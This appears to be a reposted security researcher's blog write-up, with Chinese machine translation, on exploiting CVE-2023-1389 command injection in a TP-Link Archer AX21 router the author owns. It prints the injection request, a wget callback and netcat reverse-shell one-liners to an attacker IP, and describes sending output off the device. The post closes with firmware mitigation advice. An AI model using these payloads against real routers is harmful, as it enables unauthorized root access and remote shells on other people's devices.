Exploring CVE-2023–1389: RCE in TP-Link Archer AX21

IoT 2个月前 admin

56 0 0

Development 发展

Back in March of 2023 I noticed a CVE advisory from Tenable regarding the TP-Link Archer AX21 router. This caught my eye because I used to use a TP-Link Archer router, so I dug it up and sure enough it turned out to be the AX21, the same one mentioned in the advisory. Seeing as this was a new vulnerability and I had the vulnerable hardware in hand, I set about exploring it in my limited free time, which turned out to be much more fun than I had anticipated.
早在 2023 年 3 月，我就注意到 Tenable 发布的关于 TP-Link Archer AX21 路由器的 CVE 公告。这引起了我的注意，因为我曾经使用过 TP-Link Archer 路由器，所以我把它挖了出来，果然是 AX21，与公告中提到的相同。看到这是一个新的漏洞，而且我手头有易受攻击的硬件，我开始在有限的空闲时间探索它，结果比我预期的要有趣得多。

According to the advisory from Tenable, CVE-2023–1389 is an unauthenticated command injection vulnerability in the write callback of the country form at the /cgi-bin/luci/;stok=/locale endpoint. Specifically, the country parameter is used in a call to popen(), which is run as the root user. Luckily, Tenable included an example of the request used to trigger the vulnerability:
根据 Tenable 的公告，CVE-2023–1389 是一个未经身份验证的命令注入漏洞，位于 /cgi-bin/luci/ 的国家/地区表单的写入回调中;stok=/locale 端点。具体来说，country 参数用于对 popen（）的调用，该调用以 root 用户身份运行。幸运的是，Tenable 提供了用于触发漏洞的请求示例：

POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
Host: <target router>
Content-Type: application/x-www-form-urlencoded

operation=write&country=$(id>/tmp/out)

This gave me a great starting point, so after configuring my router and checking that I could browse to the admin login page, I fired up BurpSuite and began intercepting requests, looking for one similar to the above. It was at this point I realized — even if it worked, I’d have no way to tell. The router was essentially a black box, with no way for me to gain access to its inner working to check if I was able to successfully write a test file. Yes, I likely could have forced my way in one way or another, but I didn’t want to permanently damage the router as I was planning on selling it eventually (after updating the firmware and remediating the vulnerability, of course).
这给了我一个很好的起点，所以在配置了我的路由器并检查我是否可以浏览到管理员登录页面后，我启动了BurpSuite并开始拦截请求，寻找与上述类似的请求。就在这时，我意识到——即使它有效，我也无从得知。路由器本质上是一个黑匣子，我无法访问其内部工作以检查我是否能够成功编写测试文件。是的，我本可以以一种或另一种方式强行前进，但我不想永久损坏路由器，因为我计划最终出售它（当然，在更新固件和修复漏洞之后）。

After sitting with this dilemma for a while, I figured I didn’t need anything fancy as an initial proof-of-concept — I only needed something to see if it had worked, and that something could be as simple as a callback to a python webserver under my control. Starting the webserver on my machine, I now began looking through the requests I had intercepted once again. Eventually I found a POST request similar to the one from the advisory. Replacing the relevant lines with the ones above and changing the command to “$(wget+http://<my_ip>/fakefile.txt),” I crossed my fingers, hoped that wget was installed on the machine (from the advisory it seemed like a good bet the routers were running a version of Linux, which would likely have wget) and sent the request twice (as specified in the advisory).
在这种困境中坐了一段时间后，我认为我不需要任何花哨的东西作为初始的概念验证——我只需要一些东西来查看它是否有效，并且一些东西可以像回调到我控制下的 python Web 服务器一样简单。在我的机器上启动网络服务器，我现在开始再次查看我拦截的请求。最终，我发现了一个类似于公告中的POST请求。将相关行替换为上面的行并将命令更改为“$（wget+http：//<my_ip>/fakefile.txt）”，我交叉手指，希望 wget 安装在机器上（从公告来看，路由器运行的 Linux 版本似乎是一个不错的选择，该版本可能具有 wget）并发送了两次请求（如公告中指定的那样）。

No joy. Of course it wasn’t going to be that easy.
没有喜悦。当然，这不会那么容易。

After playing with the failed request a bit more, I resigned myself to the fact that I was going to have to analyze more requests to gain a better understanding of how it was interacting with the application. I logged into the router through the web application and began the tedious process of looking through the various GET and POST requests, and eventually noticed something — all of the requests using the vulnerable endpoint had the operation as part of the POST line, rather than as a separate variable at the bottom of the request. Modifying the request from the advisory to more closely resemble those I was seeing, I double checked my python webserver and once again sent the request twice.
在对失败的请求进行了更多的尝试之后，我不得不接受这样一个事实，即我将不得不分析更多的请求，以更好地了解它如何与应用程序交互。我通过 Web 应用程序登录到路由器，开始了查看各种 GET 和 POST 请求的繁琐过程，最终注意到了一些事情——所有使用易受攻击的端点的请求都将操作作为 POST 行的一部分，而不是作为请求底部的单独变量。修改公告中的请求以更接近我看到的请求，我仔细检查了我的 python Web 服务器，并再次发送了两次请求。

Success! Even though I had gotten a “500 Internal Server Error” response for both requests, this time I saw a callback for “fakefile.txt” in my webserver output. Excited that I was on the right track, I modified the request again to try a slightly more complex command.
成功！尽管我对这两个请求都收到了“500 内部服务器错误”的响应，但这次我在 Web 服务器输出中看到了“fakefile.txt”的回调。我对自己走在正确的轨道上感到兴奋，于是再次修改了请求，尝试了一个稍微复杂的命令。

Exploring CVE-2023–1389: RCE in TP-Link Archer AX21

Directory Listing Attempt
目录列表尝试

Exploring CVE-2023–1389: RCE in TP-Link Archer AX21

Partial Directory Listing
部分目录列表

Success again! Seeing “cgi-bin” as part of the output let me know I was likely listing the contents of the /www directory, which also made me think that I was only getting a partial directory listing as “cgi-bin” is rarely alone in the web directory. Experimenting with a few other commands such as “id” and “uname -a” confirmed my suspicions as I was only receiving partials of the expected output.
再次成功！将“cgi-bin”作为输出的一部分让我知道我可能列出了 /www 目录的内容，这也让我认为我只得到了部分目录列表，因为“cgi-bin”很少单独出现在 Web 目录中。尝试使用其他一些命令，例如“id”和“uname -a”证实了我的怀疑，因为我只收到了预期输出的一部分。

After surmounting what I thought was the largest hurdle, I confirmed that netcat was installed on the system, started a netcat listener on my machine, and attempted an easy reverse shell with “nc <my ip> 9999 -e /bin/bash.” No luck, not even a connection attempt. Suspecting the “-e” option was unavailable on the version of netcat installed, I had to look for other options. I could have just transferred a reverse shell payload for an easy win, but I didn’t like the idea of putting a payload on a device I was going to sell to someone, and it felt too much like cheating.
在克服了我认为最大的障碍后，我确认系统上安装了 netcat，在我的机器上启动了一个 netcat 侦听器，并尝试使用“nc <my ip> 9999 -e /bin/bash 进行简单的反向 shell。没有运气，甚至没有连接尝试。怀疑“-e”选项在安装的 netcat 版本上不可用，我不得不寻找其他选项。我本可以转移一个反向 shell 有效载荷来轻松获胜，但我不喜欢将有效载荷放在我要卖给某人的设备上的想法，这感觉太像作弊了。

I took another look at the PoC in the Tenable advisory and decided I would copy them and add my own piece — send the output of the command to /tmp/out and then use netcat to transfer the file to my machine where I could read it. Quickly setting up two requests, one to send the output of the “ls” command to /tmp/out, and the second to transfer the file to my machine, I tested it out. I decided to leave in the “wget” call to my machine just so I could verify that the requests were being sent, even though there would be no output for me to check.
我又看了一眼 Tenable 公告中的 PoC，并决定复制它们并添加我自己的部分 – 将命令的输出发送到 /tmp/out，然后使用 netcat 将文件传输到我的机器上，在那里我可以读取它。快速设置了两个请求，一个是将“ls”命令的输出发送到 /tmp/out，另一个是将文件传输到我的机器，我对其进行了测试。我决定将“wget”调用留在我的机器上，这样我就可以验证请求是否正在发送，即使没有输出供我检查。

Exploring CVE-2023–1389: RCE in TP-Link Archer AX21

Send Output to /tmp/out 将输出发送到 /tmp/out

Exploring CVE-2023–1389: RCE in TP-Link Archer AX21

Transfer /tmp/out 传输 /tmp/out

Exploring CVE-2023–1389: RCE in TP-Link Archer AX21

Success 成功

It worked! I now had a convoluted way to view the entire output of any commands I ran. This allowed me to further explore the operating system and file structure I was working with, but it didn’t take too long for the manual editing and sending of requests through BurpSuite to wear me down. So naturally the next step was to automate this whole process with a python script, which would mean dusting off my scripting skills and spending a lot of time on Google.
成功了！现在，我有一种复杂的方法来查看我运行的任何命令的整个输出。这使我能够进一步探索我正在使用的操作系统和文件结构，但手动编辑和通过 BurpSuite 发送请求并没有花费太长时间就让我筋疲力尽。因此，自然而然地，下一步是使用 python 脚本自动执行整个过程，这意味着我的脚本技能将掸掉灰尘，并在 Google 上花费大量时间。

My first scripting attempt was to automate the exact same process I was using with BurpSuite — send the output of the commands to a file in /tmp/out, then transfer that file to my attacker machine with netcat. After a lot of trial and error (my scripting skills are a bit rusty), I was able to get it working with all of the necessary customizable fields such as the router IP, attacker IP and port, and the command to run.
我的第一次脚本尝试是自动执行与BurpSuite完全相同的过程 – 将命令的输出发送到/tmp/out中的文件，然后使用netcat将该文件传输到我的攻击者计算机。经过大量的试验和错误（我的脚本技能有点生疏），我能够让它与所有必要的可自定义字段一起工作，例如路由器 IP、攻击者 IP 和端口以及要运行的命令。

Exploring CVE-2023–1389: RCE in TP-Link Archer AX21

Successful Output from the Initial PoC
初始 PoC 的成功输出

I was tempted to leave it here and call it a success, after all, I was able to successfully run code on the vulnerable router and view the output. However, after thinking about it some more I was still bothered that I hadn’t been able to get a reverse shell, and I was sure there was a way to do it, I just hadn’t discovered it yet.
我很想把它留在这里并称之为成功，毕竟，我能够在易受攻击的路由器上成功运行代码并查看输出。不过，想了一会儿，我还是很烦恼，我没能得到一个反向的外壳，我确信有办法做到，只是我还没有发现。

Using my brand new PoC, I began searching for every possible method I could think of. I tried running “nc -h” to view the available options, but for some reason that didn’t generate any output, and since I didn’t have an interactive shell I couldn’t check the man pages for the documentation either. I attempted various reverse connections with bash and sh, but never received a successful connection, and searched for other scripting languages installed such as python, perl, PHP, but none were installed. It seemed my only options were going to be netcat or bash, so with that in mind I turned to Google to find the various techniques available for those two methods.
使用我全新的 PoC，我开始寻找我能想到的所有可能的方法。我尝试运行“nc -h”来查看可用选项，但由于某种原因没有生成任何输出，并且由于我没有交互式 shell，我也无法检查手册页中的文档。我尝试了各种反向连接 bash 和 sh，但从未收到成功的连接，并搜索了其他已安装的脚本语言，例如 python、perl、PHP，但没有安装。似乎我唯一的选择是 netcat 或 bash，所以考虑到这一点，我转向 Google 寻找可用于这两种方法的各种技术。

I eventually took another look at pentestmonkey’s Reverse Shell Cheat Sheet and noticed an option for netcat that I had ignored before:
我最终又看了一眼 pentestmonkey 的反向 Shell 备忘单，并注意到一个我以前忽略的 netcat 选项：

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT>/tmp/f

I hadn’t tried this one yet, so I started my netcat listener, ran the command, and got a successful connection! After a little bit more research I found this command tends to work for netcat on OpenBSD and BusyBox, which gave me a little bit more insight into the OS of my router.
我还没有尝试过这个，所以我启动了我的 netcat 侦听器，运行了命令，并成功连接了！经过更多的研究，我发现这个命令往往适用于 OpenBSD 和 BusyBox 上的 netcat，这让我对路由器的操作系统有了更多的了解。

With this new found information I modified my original exploit to make it much simpler: all that is needed is the router IP, and attacker IP and port. After starting up the netcat listener one more time I ran the updated exploit and checked for the connection:
有了这些新发现的信息，我修改了我原来的漏洞，使其更简单：所需要的只是路由器 IP、攻击者 IP 和端口。再次启动netcat侦听器后，我运行了更新的漏洞并检查了连接：

Exploring CVE-2023–1389: RCE in TP-Link Archer AX21

Reverse Shell Exploit 反向 Shell 漏洞利用

Exploring CVE-2023–1389: RCE in TP-Link Archer AX21

Successful Reverse Shell 成功的反向 Shell

Success! I now had a simple, working exploit to obtain a simple netcat reverse shell.
成功！我现在有一个简单的、有效的漏洞来获得一个简单的 netcat 反向 shell。

Mitigation 缓解

TP-Link has already released updated firmware to fix the issue by removing the vulnerable call back. Most TP-Link Archer AX21 routers should provide you the option to update your firmware to the fixed version, however, if yours doesn’t you can download the appropriate zip file for your hardware version and install the updated firmware manually.
TP-Link 已经发布了更新的固件，通过删除易受攻击的回电来修复该问题。大多数 TP-Link Archer AX21 路由器应为您提供将固件更新到固定版本的选项，但是，如果您的路由器没有，您可以为您的硬件版本下载相应的 zip 文件并手动安装更新的固件。

Code 法典

I’ve made the code for both PoC available on Github and the reverse shell is currently available on Exploit-DB. Don’t use these programs against devices you do not have explicit permission to test. I’m making them available purely for ethical use and educational purposes.
我已经在 G ithub 上提供了两个 PoC 的代码，而反向 shell 目前在 Exploit-DB 上可用。不要将这些程序用于您没有明确测试权限的设备。我纯粹出于道德用途和教育目的而提供它们。